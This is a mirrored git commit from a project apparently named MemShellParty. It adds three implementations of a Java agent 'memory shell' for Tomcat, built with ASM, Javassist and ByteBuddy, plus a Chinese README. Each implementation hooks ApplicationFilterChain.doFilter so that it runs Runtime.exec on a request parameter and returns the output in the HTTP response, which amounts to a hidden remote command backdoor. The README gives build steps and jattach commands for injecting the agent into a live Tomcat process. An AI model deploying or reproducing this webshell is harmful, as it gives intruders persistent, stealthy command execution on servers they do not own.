mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: add three implementations for agent memshell
This commit is contained in:
+1
-1
@@ -4,7 +4,7 @@ plugins {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
constraints {
|
constraints {
|
||||||
api 'net.bytebuddy:byte-buddy:1.+'
|
api 'net.bytebuddy:byte-buddy:1.17.5'
|
||||||
api 'org.ow2.asm:asm-commons:9.7.1'
|
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
api 'com.github.jar-analyzer:class-obf:1.5.0'
|
api 'com.github.jar-analyzer:class-obf:1.5.0'
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,65 @@
|
|||||||
|
## Agent 内存马
|
||||||
|
|
||||||
|
### 实现原理
|
||||||
|
|
||||||
|
JDK1.5 提供了 JVMTI 接口供开发者扩展以查看 JVM 状态,或控制 JVM 代码执行。其中最重要的就是 `java.lang.instrument`,可以添加自定义的
|
||||||
|
Transformer,来进行字节码修改。具体细节可查看 [JVM 源码分析之 javaagent 原理完全解读](https://www.infoq.cn/article/javaagent-illustrated)。
|
||||||
|
|
||||||
|
JavaAgent 有两种入口:
|
||||||
|
|
||||||
|
1. 静态注入,MANIFEST 定义 Premain-Class 属性指定实现类,并且类中实现了
|
||||||
|
`public static void premain(String args, Instrumentation inst)` 方法,在 Java 程序运行参数中添加
|
||||||
|
`java -javaanget:/path/to/agent.jar -jar app.jar`,应用启动时,就会调用到 `premain` 方法执行字节码增强相关代码逻辑。
|
||||||
|
2. 动态注入,MANIFEST 定义 Agent-Class 属性指定实现类,并且类中实现了
|
||||||
|
`public static void agentmain(String args, Instrumentation inst)` 方法,在 Java 程序运行过程中,通过 attach 机制进行
|
||||||
|
attach 时,会调用到 `agentmain` 方法执行字节码增强相关代码逻辑。
|
||||||
|
|
||||||
|
当一个 jar 包中 MANIFEST 定义如下时:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Premain-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||||
|
Agent-Class: com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer
|
||||||
|
Can-Redefine-Classes: true
|
||||||
|
Can-Retransform-Classes: true
|
||||||
|
Can-Set-Native-Method-Prefix: true
|
||||||
|
```
|
||||||
|
|
||||||
|
那么这个 Java Agent 既支持静态注入,也支持动态注入。
|
||||||
|
|
||||||
|
### 实现方式
|
||||||
|
|
||||||
|
> 目前提供了 Tomcat 最简单的命令回显 Agent 内存马实现方式
|
||||||
|
|
||||||
|
1. 基于
|
||||||
|
ASM,[CommandFilterChainTransformer.java](memshell-agent-asm/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
2. 基于
|
||||||
|
Javassist,[CommandFilterChainTransformer.java](memshell-agent-javassist/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
3. 基于
|
||||||
|
ByteBuddy,[CommandFilterChainTransformer.java](memshell-agent-bytebuddy/src/main/java/com/reajason/javaweb/memshell/agent/CommandFilterChainTransformer.java)
|
||||||
|
|
||||||
|
### 如何使用
|
||||||
|
|
||||||
|
可以直接 IDEA 中的 Gradle,里面双击 memshell-agent 下的 Tasks 中 build 下的 jar 进行构建。
|
||||||
|
|
||||||
|
```bash
|
||||||
|
## 进入项目根目录
|
||||||
|
cd MemShellParty
|
||||||
|
|
||||||
|
## MacOs or Linux
|
||||||
|
./gradlew :memshell-agent:jar
|
||||||
|
|
||||||
|
## Windows
|
||||||
|
gradlew.bat :memshell-agent:jar
|
||||||
|
```
|
||||||
|
|
||||||
|
构建结束,会在每个模块 build/libs/ 下生成 Jar 包,其中带 all 的为我们所需要用的包,例如:
|
||||||
|
|
||||||
|
- memshell-agent-asm/build/libs/memshell-agent-asm-1.0.0-all.jar
|
||||||
|
- memshell-agent-javassist/build/libs/memshell-agent-javassist-1.0.0-all.jar
|
||||||
|
- memshell-agent-bytebuddy/build/libs/memshell-agent-bytebuddy-1.0.0-all.jar
|
||||||
|
|
||||||
|
下载 [jattach](https://github.com/jattach/jattach/releases/latest) 攻击实施动态注入。
|
||||||
|
|
||||||
|
1. 启动你需要注入的 Tomcat
|
||||||
|
2. 执行命令 `/path/to/jattach pid load instrument false /path/to/agent.jar`,注意,所有路径都使用绝对路径,不要使用相对路径
|
||||||
|
3. 访问 `http://localhost:8080/app/?paramName=id` ,查看是否成功
|
||||||
@@ -16,7 +16,6 @@ java {
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'org.ow2.asm:asm-commons:9.7.1'
|
implementation 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
implementation 'javax.servlet:javax.servlet-api:3.1.0'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
jar {
|
jar {
|
||||||
@@ -28,3 +27,5 @@ jar {
|
|||||||
attributes 'Can-Set-Native-Method-Prefix': true
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+35
-31
@@ -4,7 +4,7 @@ import org.objectweb.asm.*;
|
|||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.instrument.UnmodifiableClassException;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -14,8 +14,19 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
|||||||
|
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
@Override
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||||
@Override
|
@Override
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
@@ -27,6 +38,27 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
|||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static class DoFilterMethodVisitor extends MethodVisitor {
|
private static class DoFilterMethodVisitor extends MethodVisitor {
|
||||||
@@ -178,32 +210,4 @@ public class CommandFilterChainTransformer implements ClassFileTransformer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
|
||||||
Method getClassLoader = cw.getClass().getDeclaredMethod("getClassLoader");
|
|
||||||
getClassLoader.setAccessible(true);
|
|
||||||
System.out.println(getClassLoader.invoke(cw));
|
|
||||||
ClassVisitor cv = CommandFilterChainTransformer.getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) {
|
|
||||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) {
|
|
||||||
System.out.println(DoFilterMethodVisitor.class.getClassLoader());
|
|
||||||
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,31 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
|
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '1.0.0'
|
version = '1.0.0'
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
implementation 'net.bytebuddy:byte-buddy:1.17.5'
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
jar {
|
||||||
useJUnitPlatform()
|
manifest {
|
||||||
|
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Can-Redefine-Classes': true
|
||||||
|
attributes 'Can-Retransform-Classes': true
|
||||||
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.memshell.agent;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
import net.bytebuddy.utility.JavaModule;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/2
|
||||||
|
*/
|
||||||
|
public class CommandFilterChainTransformer implements AgentBuilder.Transformer {
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) Object request,
|
||||||
|
@Advice.Argument(value = 1) Object response
|
||||||
|
) {
|
||||||
|
String paramName = "paramName";
|
||||||
|
try {
|
||||||
|
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return true; // 此处返回 true 配合 skipOn = Advice.OnNonDefaultValue.class,即意为不再执行目标方法自带的代码,直接返回。
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return false; // 此处返回 false 配合 skipOn = Advice.OnNonDefaultValue.class,意为继续执行目标方法自带的代码。
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder, TypeDescription typeDescription, ClassLoader classLoader, JavaModule module, ProtectionDomain protectionDomain) {
|
||||||
|
return builder.visit(Advice.to(CommandFilterChainTransformer.class).on(named("doFilter")));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.disableClassFormatChanges()
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||||
|
.transform(new CommandFilterChainTransformer())
|
||||||
|
.installOn(inst);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,15 +1,31 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id 'java'
|
id 'java'
|
||||||
|
id 'com.github.johnrengelman.shadow' version '8.1.1'
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = '1.0.0'
|
version = '1.0.0'
|
||||||
|
|
||||||
dependencies {
|
java {
|
||||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
toolchain {
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_6
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_6
|
||||||
}
|
}
|
||||||
|
|
||||||
test {
|
dependencies {
|
||||||
useJUnitPlatform()
|
implementation 'org.javassist:javassist:3.30.2-GA'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
jar {
|
||||||
|
manifest {
|
||||||
|
attributes 'Premain-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Agent-Class': 'com.reajason.javaweb.memshell.agent.CommandFilterChainTransformer'
|
||||||
|
attributes 'Can-Redefine-Classes': true
|
||||||
|
attributes 'Can-Retransform-Classes': true
|
||||||
|
attributes 'Can-Set-Native-Method-Prefix': true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jar.finalizedBy shadowJar
|
||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package com.reajason.javaweb.memshell.agent;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
public class CommandFilterChainTransformer implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new javassist.LoaderClassPath(loader));
|
||||||
|
|
||||||
|
CtClass cc = pool.makeClass(new ByteArrayInputStream(bytes), true);
|
||||||
|
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
|
||||||
|
|
||||||
|
String code =
|
||||||
|
"String paramName = \"paramName\";" +
|
||||||
|
"try {" +
|
||||||
|
" String cmd = $1.getParameter(paramName);" +
|
||||||
|
" if (cmd != null) {" +
|
||||||
|
" Process exec = Runtime.getRuntime().exec(cmd);" +
|
||||||
|
" java.io.InputStream inputStream = exec.getInputStream();" +
|
||||||
|
" byte[] buf = new byte[8192];" +
|
||||||
|
" int length;" +
|
||||||
|
" while ((length = inputStream.read(buf)) != -1) {" +
|
||||||
|
" $2.getOutputStream().write(buf, 0, length);" +
|
||||||
|
" }" +
|
||||||
|
" return;" +
|
||||||
|
" }" +
|
||||||
|
"} catch (Exception ignored) {}";
|
||||||
|
|
||||||
|
doFilter.insertBefore(code);
|
||||||
|
byte[] transformedBytes = cc.toBytecode();
|
||||||
|
cc.detach();
|
||||||
|
return transformedBytes;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
inst.addTransformer(new CommandFilterChainTransformer(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user